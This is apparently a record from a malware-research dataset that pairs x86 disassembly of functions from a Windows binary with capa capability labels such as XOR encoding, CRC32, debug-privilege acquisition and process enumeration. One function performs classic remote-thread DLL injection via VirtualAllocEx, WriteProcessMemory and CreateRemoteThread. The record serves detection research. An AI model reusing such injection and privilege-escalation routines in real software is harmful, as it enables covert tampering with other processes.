joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401020
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov ecx, dword [esi]
mov edx, ecx
xor edx, eax
shr ecx, 8
and edx, 0xff
mov edx, dword [edi + edx*4]
xor edx, ecx
movzx ecx, dl
add ecx, dword [esi + 4]
mov dword [esi], edx
mov edx, dword [esi + 8]
imul ecx, ecx, 0x8088405
inc ecx
mov dword [esi + 4], ecx
shr ecx, 0x18
xor ecx, edx
and ecx, 0xff
shr edx, 8
xor edx, dword [edi + ecx*4]
mov dword [esi + 8], edx
ret

Function at 0x401060
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push edi
mov edi, 0x34567890
mov dword [ecx], 0x12345678
mov dword [ecx + 4], 0x23456789
mov dword [ecx + 8], edi
mov dl, byte [eax]
test dl, dl
je 0x4010d0
push esi
mov esi, dword [ecx + 4]
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
and edx, 0xff
mov edx, dword [ebx + edx*4]
shr eax, 8
xor edx, eax
movzx eax, dl
add esi, eax
mov eax, dword [ebp + 8]
imul esi, esi, 0x8088405
mov dword [ecx], edx
inc esi
mov edx, esi
shr edx, 0x18
xor edx, edi
and edx, 0xff
shr edi, 8
mov dword [ecx + 4], esi
xor edi, dword [ebx + edx*4]
inc eax
mov dword [ecx + 8], edi
mov dl, byte [eax]
mov dword [ebp + 8], eax
test dl, dl
jne 0x401086
pop esi
pop edi
pop ebp
ret
Function at 0x404100
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push edi
mov edi, 0x34567890
mov dword [ecx], 0x12345678
mov dword [ecx + 4], 0x23456789
mov dword [ecx + 8], edi
mov dl, byte [eax]
test dl, dl
je 0x404170
push esi
mov esi, dword [ecx + 4]
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
and edx, 0xff
mov edx, dword [ebx + edx*4]
shr eax, 8
xor edx, eax
movzx eax, dl
add esi, eax
mov eax, dword [ebp + 8]
imul esi, esi, 0x8088405
mov dword [ecx], edx
inc esi
mov edx, esi
shr edx, 0x18
xor edx, edi
and edx, 0xff
shr edi, 8
mov dword [ecx + 4], esi
xor edi, dword [ebx + edx*4]
inc eax
mov dword [ecx + 8], edi
mov dl, byte [eax]
mov dword [ebp + 8], eax
test dl, dl
jne 0x404126
pop esi
pop edi
pop ebp
ret
Function at 0x4065f0
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
xor ebx, ebx
push edi
mov dword [ebp - 8], ebx
cmp dword [esi + 0x100ac], ebx
je 0x4066b0
cmp dword [esi + 0x7c], ebx
jbe 0x4066b0
mov eax, 0xffffff5c
sub eax, esi
lea edi, [esi + 0xa4]
mov dword [ebp - 4], eax
jmp 0x406630
movzx ecx, byte [edi]
mov eax, dword [esi + 0x100d0]
mov ebx, dword [esi + 0x100dc]
xor ecx, eax
mov edx, dword [esi + 0x100d8]
shr eax, 8
and ecx, 0xff
mov ecx, dword [ebx + ecx*4]
xor ecx, eax
movzx eax, cl
add eax, dword [esi + 0x100d4]
mov dword [esi + 0x100d0], ecx
mov ecx, dword [esi + 0x100d8]
imul eax, eax, 0x8088405
inc eax
mov dword [esi + 0x100d4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [ebx + eax*4]
and edx, 0xfffd
or edx, 2
mov eax, edx
xor eax, 1
imul eax, edx
mov dword [esi + 0x100d8], ecx
mov ecx, dword [ebp - 4]
shr eax, 8
xor byte [edi], al
inc edi
add ecx, edi
cmp ecx, dword [esi + 0x7c]
jb 0x406630
xor ebx, ebx
mov edi, dword [esi + 0x7c]
mov ecx, dword [esi + 0x2c]
mov edx, dword [esi + 0x1c]
push edi
lea eax, [esi + 0xa4]
push eax
mov eax, dword [esi + 8]
push ecx
push edx
call eax
add esp, 0x10
cmp eax, edi
je 0x4066d4
or eax, 0xffffffff
jmp 0x4066d7
mov eax, dword [ebp - 8]
add dword [esi + 0x100c0], edi
mov ecx, dword [esi + 0x48]
pop edi
adc dword [esi + 0x100c4], ebx
add dword [esi + 0x100c8], ecx
mov dword [esi + 0x48], ebx
mov dword [esi + 0x7c], ebx
adc dword [esi + 0x100cc], ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407e10
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
test ecx, ecx
jne 0x407e1b
xor eax, eax
pop ebp
ret
mov eax, dword [ebp + 8]
pop ebp
jmp fcn.00407e30
Function at 0x408460
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x58f860]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, ecx
test ebx, ebx
jle 0x4085f0
mov edx, 1
mov dword [ebp - 0x84], 0xedb88320
mov ecx, edx
mov dword [ebp + ecx*4 - 0x84], edx
inc ecx
add edx, edx
cmp ecx, 0x20
jl 0x408492
push esi
push edi
xor edi, edi
jmp 0x4084b0
mov ecx, dword [ebp + edi - 0x84]
xor esi, esi
lea edx, [ebp - 0x84]
test ecx, ecx
je 0x4084d1
test cl, 1
je 0x4084ca
xor esi, dword [edx]
add edx, 4
shr ecx, 1
jne 0x4084c3
mov dword [ebp + edi - 0x104], esi
add edi, 4
cmp edi, 0x80
jl 0x4084b0
xor edi, edi
jmp 0x4084f0
mov ecx, dword [ebp + edi - 0x104]
xor esi, esi
lea edx, [ebp - 0x104]
test ecx, ecx
je 0x408511
test cl, 1
je 0x40850a
xor esi, dword [edx]
add edx, 4
shr ecx, 1
jne 0x408503
mov dword [ebp + edi - 0x84], esi
add edi, 4
cmp edi, 0x80
jl 0x4084f0
xor edi, edi
jmp 0x408530
mov ecx, dword [ebp + edi - 0x84]
xor esi, esi
lea edx, [ebp - 0x84]
test ecx, ecx
je 0x408551
test cl, 1
je 0x40854a
xor esi, dword [edx]
add edx, 4
shr ecx, 1
jne 0x408543
mov dword [ebp + edi - 0x104], esi
add edi, 4
cmp edi, 0x80
jl 0x408530
test bl, 1
je 0x408583
xor edx, edx
lea ecx, [ebp - 0x104]
test eax, eax
je 0x408581
test al, 1
je 0x40857a
xor edx, dword [ecx]
add ecx, 4
shr eax, 1
jne 0x408574
mov eax, edx
sar ebx, 1
je 0x4085eb
xor edi, edi
lea esp, [esp]
mov ecx, dword [ebp + edi - 0x104]
xor esi, esi
lea edx, [ebp - 0x104]
test ecx, ecx
je 0x4085b1
test cl, 1
je 0x4085aa
xor esi, dword [edx]
add edx, 4
shr ecx, 1
jne 0x4085a3
mov dword [ebp + edi - 0x84], esi
add edi, 4
cmp edi, 0x80
jl 0x408590
test bl, 1
je 0x4085e3
xor edx, edx
lea ecx, [ebp - 0x84]
test eax, eax
je 0x4085e1
test al, 1
je 0x4085da
xor edx, dword [ecx]
add ecx, 4
shr eax, 1
jne 0x4085d4
mov eax, edx
sar ebx, 1
jne 0x408523
xor eax, dword [ebp + 0xc]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00512610
mov esp, ebp
pop ebp
ret
Function at 0x40b6b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
mov edi, dword [esi + 0x2c]
mov dword [ebp - 0xc], edi
jmp 0x40b6c3
mov edi, dword [ebp - 0xc]
mov ebx, dword [esi + 0x3c]
sub ebx, dword [esi + 0x74]
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x2c]
sub ebx, eax
lea edx, [edi + ecx - 0x106]
mov dword [ebp - 4], ebx
cmp eax, edx
jb 0x40b73d
mov eax, dword [esi + 0x38]
push edi
lea ecx, [eax + edi]
push ecx
push eax
call fcn.00511ce0
mov edx, dword [esi + 0x4c]
mov eax, dword [esi + 0x44]
sub dword [esi + 0x70], edi
sub dword [esi + 0x6c], edi
add esp, 0xc
sub dword [esi + 0x5c], edi
lea ecx, [eax + edx*2]
movzx eax, word [ecx - 2]
sub ecx, 2
cmp eax, edi
jb 0x40b711
sub eax, edi
jmp 0x40b713
xor eax, eax
dec edx
mov word [ecx], ax
jne 0x40b702
mov ecx, dword [esi + 0x40]
mov edx, edi
lea ecx, [ecx + edi*2]
movzx eax, word [ecx - 2]
sub ecx, 2
cmp eax, edi
jb 0x40b730
sub eax, edi
jmp 0x40b732
xor eax, eax
dec edx
mov word [ecx], ax
jne 0x40b721
add ebx, edi
mov dword [ebp - 4], ebx
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x40b869
mov edx, dword [esi + 0x74]
add edx, dword [esi + 0x6c]
mov eax, dword [edi + 4]
add edx, dword [esi + 0x38]
mov ecx, dword [ebp - 4]
mov ebx, eax
mov dword [ebp - 8], edx
cmp ebx, ecx
jbe 0x40b763
mov ebx, ecx
test ebx, ebx
je 0x40b7b6
sub eax, ebx
mov dword [edi + 4], eax
mov eax, dword [edi + 0x1c]
mov eax, dword [eax + 0x18]
cmp eax, 1
jne 0x40b785
mov edx, dword [edi]
mov ecx, dword [edi + 0x30]
mov eax, ebx
call fcn.0040c6b0
jmp 0x40b79e
cmp eax, 2
jne 0x40b7a4
mov ecx, dword [edi]
mov eax, dword [edi + 0x30]
test ecx, ecx
jne 0x40b797
xor eax, eax
jmp 0x40b7a1
mov edx, ebx
call fcn.00407e30
mov edx, dword [ebp - 8]
mov dword [edi + 0x30], eax
mov ecx, dword [edi]
push ebx
push ecx
push edx
call fcn.00511ce0
add dword [edi], ebx
add esp, 0xc
add dword [edi + 8], ebx
add dword [esi + 0x74], ebx
mov ebx, dword [esi + 0x74]
cmp ebx, 3
jb 0x40b7de
mov edx, dword [esi + 0x6c]
add edx, dword [esi + 0x38]
mov ecx, dword [esi + 0x58]
movzx eax, byte [edx]
mov dword [esi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x54]
mov dword [esi + 0x48], eax
cmp ebx, 0x106
jae 0x40b7f2
mov edx, dword [esi]
cmp dword [edx + 4], 0
jne 0x40b6c0
mov eax, dword [esi + 0x16c0]
mov ecx, dword [esi + 0x3c]
cmp eax, ecx
jae 0x40b869
mov edi, dword [esi + 0x6c]
add edi, ebx
cmp eax, edi
jae 0x40b838
sub ecx, edi
mov ebx, ecx
cmp ebx, 0x102
jbe 0x40b819
mov ebx, 0x102
mov eax, dword [esi + 0x38]
push ebx
add eax, edi
push 0
push eax
call fcn.00512af0
add esp, 0xc
add ebx, edi
pop edi
mov dword [esi + 0x16c0], ebx
pop ebx
mov esp, ebp
pop ebp
ret
lea edx, [edi + 0x102]
cmp eax, edx
jae 0x40b869
sub edi, eax
add edi, 0x102
sub ecx, eax
cmp edi, ecx
jbe 0x40b852
mov edi, ecx
mov ecx, dword [esi + 0x38]
push edi
add ecx, eax
push 0
push ecx
call fcn.00512af0
add esp, 0xc
add dword [esi + 0x16c0], edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41b090
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0x24], ecx
cmp dword [ebp + 8], 0
jne 0x41b0a6
xor al, al
jmp 0x41b19b
mov byte [ebp - 9], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x41b0e4
xor al, al
jmp 0x41b19b
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jbe 0x41b102
cmp dword [ebp - 4], 0x2800000
jbe 0x41b109
xor al, al
jmp 0x41b19b
mov edx, dword [ebp - 4]
push edx
call fcn.004c8580
add esp, 4
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x41b128
xor al, al
jmp 0x41b19b
mov dword [ebp - 0x10], 0
push 0
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 4]
je 0x41b16f
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.005124eb
add esp, 4
xor al, al
jmp 0x41b19b
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov ecx, dword [ebp - 0x24]
call fcn.0041b1b0
mov byte [ebp - 9], al
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.005124eb
add esp, 4
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret 8
Function at 0x41e8b0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x58f860]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
lea eax, [ebp - 4]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x41e933
mov dword [ebp - 0x1c], 1
lea ecx, [ebp - 0x18]
push ecx
push 0x54c1b8
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov edx, dword [ebp + 8]
neg edx
sbb edx, edx
and edx, 2
mov dword [ebp - 0x10], edx
push 0
push 0
push 0x10
lea eax, [ebp - 0x1c]
push eax
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
add eax, 1
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.00512610
mov esp, ebp
pop ebp
ret

Function at 0x41eaa0
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x5837f8
push 0x517c70
mov eax, dword fs:[0]
push eax
add esp, 0xffffffe0
push ebx
push esi
push edi
mov eax, dword [0x58f860]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
push 1
call fcn.0041e8b0
add esp, 4
mov eax, dword [ebp + 8]
push eax
push 0
push 0x42a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x41eb1c
jmp 0x41ebb9
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 1
mov dword [ebp - 0x2c], eax
mov edx, dword [ebp - 0x2c]
shl edx, 1
mov dword [ebp - 0x30], edx
push 4
push 0x1000
mov eax, dword [ebp - 0x30]
push eax
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x41eb56
jmp 0x41ebb9
push 0
mov edx, dword [ebp - 0x30]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x41eb74
jmp 0x41ebb9
push 0
push 0
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x41eb9c
jmp 0x41ebb9
push 0xffffffffffffffff
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
call fcn.0041e8b0
add esp, 4
mov dword [ebp - 0x24], 1
mov dword [ebp - 4], 0xfffffffe
call fcn.0041ebc7
jmp 0x41ec0d
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41ef70
Capabilities:
Create thread
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x583818
push 0x517c70
mov eax, dword fs:[0]
push eax
add esp, 0xfffffbac
mov eax, dword [0x58f860]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x38], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
jne 0x41efe2
jmp 0x41f10f
mov dword [ebp - 0x460], 0x428
push 0x424
push 0
lea ecx, [ebp - 0x45c]
push ecx
call fcn.00512af0
add esp, 0xc
mov dword [ebp - 0x34], 0
lea edx, [ebp - 0x460]
push edx
mov eax, dword [ebp - 0x20]
push eax
call sub.KERNEL32.dll_Module32FirstW
mov dword [ebp - 0x2c], eax
jmp 0x41f031
lea ecx, [ebp - 0x460]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call sub.KERNEL32.dll_Module32NextW
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x41f08e
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x440]
push ecx
call fcn.0051801d
add esp, 8
test eax, eax
je 0x41f071
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x240]
push eax
call fcn.0051801d
add esp, 8
test eax, eax
je 0x41f071
mov dword [ebp - 0x464], 0
jmp 0x41f07b
mov dword [ebp - 0x464], 1
mov ecx, dword [ebp - 0x464]
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x34], 0
je 0x41f08c
jmp 0x41f08e
jmp 0x41f01e
cmp dword [ebp - 0x34], 0
jne 0x41f096
jmp 0x41f10f
mov edx, dword [ebp + 8]
push edx
push 0
push 0x40a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x41f0b2
jmp 0x41f10f
push 0x54c20c
push 0x54c218
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x41f0d4
jmp 0x41f10f
push 0
push 0
mov eax, dword [ebp - 0x44c]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x41f0fc
jmp 0x41f10f
push 0xffffffffffffffff
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x24], 1
mov dword [ebp - 4], 0xfffffffe
call fcn.0041f11d
jmp 0x41f14e
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x38]
xor ecx, ebp
call fcn.00512610
mov esp, ebp
pop ebp
ret
Function at 0x41fb90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, word [ebp + 0x10]
push eax
movzx ecx, word [ebp + 0xc]
push ecx
push 6
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x41fbc6
push 5
call fcn.0041f420
add esp, 4
xor eax, eax
jmp 0x41fc67
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x41fbeb
push 6
call fcn.0041f420
add esp, 4
xor eax, eax
jmp 0x41fc67
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x41fc0c
push 6
call fcn.0041f420
add esp, 4
xor eax, eax
jmp 0x41fc67
push 0x48
call fcn.00517785
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x41fc2d
push 1
call fcn.0041f420
add esp, 4
xor eax, eax
jmp 0x41fc67
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
mov dword [eax], ecx
mov edx, dword [ebp - 0xc]
mov ax, word [ebp + 0x10]
mov word [edx + 4], ax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.0041fc70
add esp, 8
test eax, eax
jne 0x41fc64
mov eax, dword [ebp - 0xc]
push eax
call fcn.0051770c
add esp, 4
xor eax, eax
jmp 0x41fc67
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x421e20
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov dword [ebp - 0x3c], 0
push 0x38
push 0
lea eax, [ebp - 0x38]
push eax
call fcn.00512af0
add esp, 0xc
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x40
mov ecx, dword [ebp + 8]
call fcn.0041cb20
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], str.runas
mov ecx, dword [ebp + 0xc]
call fcn.0041cb20
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 5
lea ecx, [ebp - 0x3c]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov esp, ebp
pop ebp
ret
Function at 0x422100
Capabilities:
Create process on windows
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b0
mov eax, dword [0x58f860]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov dword [ebp - 0x240], 0
push 0x228
push 0
lea eax, [ebp - 0x23c]
push eax
call fcn.00512af0
add esp, 0xc
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x244], eax
mov dword [ebp - 0x240], 0x22c
lea ecx, [ebp - 0x240]
push ecx
mov edx, dword [ebp - 0x244]
push edx
call sub.KERNEL32.dll_Process32FirstW
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4221b8
push 0x54d72c
lea eax, [ebp - 0x21c]
push eax
call fcn.0051801d
add esp, 8
test eax, eax
jne 0x4221a0
mov ecx, dword [ebp - 0x238]
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
jmp 0x4221b8
lea edx, [ebp - 0x240]
push edx
mov eax, dword [ebp - 0x244]
push eax
call sub.KERNEL32.dll_Process32NextW
mov dword [ebp - 4], eax
jmp 0x422169
mov ecx, dword [ebp - 0x244]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x248], 0
cmp dword [ebp - 8], 0
je 0x4221e5
mov edx, dword [ebp - 8]
push edx
call fcn.00421da0
add esp, 4
test eax, eax
jne 0x422204
push ecx
mov ecx, esp
lea eax, [ebp + 8]
push eax
call fcn.0041c880
call fcn.00421e80
add esp, 4
mov dword [ebp - 0x248], eax
jmp 0x42229f
mov dword [ebp - 0x2a8], 0
push 0x40
push 0
lea ecx, [ebp - 0x2a4]
push ecx
call fcn.00512af0
add esp, 0xc
mov dword [ebp - 0x258], 0
xor edx, edx
mov dword [ebp - 0x254], edx
mov dword [ebp - 0x250], edx
mov dword [ebp - 0x24c], edx
lea eax, [ebp - 0x258]
push eax
lea ecx, [ebp - 0x2a8]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp + 8]
call fcn.0041cbc0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x248], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x248], 0
je 0x42229f
mov edx, dword [ebp - 0x258]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 8], 0
je 0x4222af
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x248]
mov dword [ebp - 0x2b0], edx
lea ecx, [ebp + 8]
call fcn.0040f740
mov eax, dword [ebp - 0x2b0]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.00512610
mov esp, ebp
pop ebp
ret
Function at 0x422bd0
Capabilities:
Copy file
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 5
jge 0x422c0e
push 0
lea ecx, [ebp + 0xc]
call fcn.0041cb20
push eax
lea ecx, [ebp + 8]
call fcn.0041cb20
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x422c03
jmp 0x422c0e
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
jmp 0x422bdd
cmp dword [ebp - 4], 5
jl 0x422c8b
lea ecx, [ebp - 8]
call fcn.0040ee90
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push str.._d.tmp
lea ecx, [ebp + 0xc]
push ecx
lea edx, [ebp - 0xc]
push edx
call fcn.0041ca60
add esp, 0xc
mov ecx, eax
call fcn.0041cb20
push eax
lea eax, [ebp - 8]
push eax
call fcn.004beff0
add esp, 0xc
lea ecx, [ebp - 0xc]
call fcn.0040f740
lea ecx, [ebp - 8]
call fcn.0041cb20
push eax
lea ecx, [ebp + 0xc]
call fcn.0041cb20
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x422c83
push 4
push 0
lea ecx, [ebp - 8]
call fcn.0041cb20
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea ecx, [ebp - 8]
call fcn.0040f740
lea ecx, [ebp + 8]
call fcn.0040f740
lea ecx, [ebp + 0xc]
call fcn.0040f740
mov esp, ebp
pop ebp
ret